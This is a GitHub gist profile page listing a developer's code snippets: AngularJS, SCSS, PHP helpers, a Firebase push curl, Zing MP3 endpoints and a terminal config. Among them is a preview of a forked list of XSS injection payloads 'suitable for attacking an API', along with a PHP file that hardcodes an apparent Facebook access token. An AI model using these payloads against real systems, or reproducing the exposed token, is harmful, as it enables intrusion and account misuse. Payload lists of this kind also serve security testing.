Skip to content

Instantly share code, notes, and snippets.

View thephucit's full-sized avatar

Thế Phúc thephucit

View GitHub Profile
/**
*@author: The Phuc
*@since: 06/01/2017
*/
(function(window, angular, undefined) {
'use strict';
var ngRouteModule = angular.module('ssStream', ['ng']).provider('$ssStream', $ssStream);
function $ssStream() {
window.AudioContext = window.AudioContext || window.webkitAudioContext || window.mozAudioContext || window.oAudioContext || window.msAudioContext;
// define variable
$font-size-of-content: 14px;
$color-of-content: #241313;
$background-color-content: #ccc;
//----------------------------------------- extends simple
.parent {
background-color: #E21B1B;
font-size: 12px;
}
.class1 {
@thephucit
thephucit / 666_lines_of_XSS_vectors.html
Created April 21, 2017 01:30 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
curl https://fcm.googleapis.com/fcm/send -X POST \
--header "Authorization: key=FIREBASE_KEY" \
--Header "Content-Type: application/json" \
-d '
{
"to": "DEVICE_TOKEN"
"notification":{
"title":"New Notification!",
"body":"Test",
"sound":"sms-received3.caf"
<?php
namespace App\Helpers;
use App\Models\Notification;
class PushNotification
{
const MAXIMUM = 1000;
const FACEBOOK_TOKEN_CHATBOT = 'EAAVpwhjR0ioBANxNhqW7FiJxQKHot9yz7foZCuWt7qxVJ0JOic0dzZBZC3TuZCFryiZCiFdEG02zNlaoJQMufOoYpxVFSQSVHSpQTyZA0M48RZAh3lMaCxeBd3Er20NDdNFmjRAInKQo0az1JhfFQs8xhEjIC6S9jHcY9uu2f7KUBIoQwciHfJK';
- lay bai hat lien quan:
http://mp3.zing.vn/xhr/recommend?type=audio&id=ZW67OIA0
- lay du lieu thong qua key:
http://mp3.zing.vn/xhr/media/get-source?type=audio&key=kmJHTZHNCVaSmSuymyFHLH
http://mp3.zing.vn/html5xml/song-xml/kmJHTZHNCVaSmSuymyFHLH
- tim bai hat:
http://ac.mp3.zing.vn/complete?type=artist,song,key,code&num=500&query=Anh Thế Giới Và Em
@thephucit
thephucit / check-apply-available-angular.js
Created November 20, 2017 03:18
check apply available angular
if(!$scope.$$phase) $scope.$apply();
@thephucit
thephucit / !README.md
Created January 15, 2018 02:02
Binary Bot (https://bot.binary.com) Examples
// Future versions of Hyper may add additional config options,
// which will not automatically be merged into this file.
// See https://hyper.is#cfg for all currently supported options.
module.exports = {
config: {
// default font size in pixels for all tabs
fontSize: 13,
// font family with optional fallbacks
<?php
namespace App\Helpers;
class Vision
{
/**
* Send reply for line user
*/
public static function getImageContent($imagePath)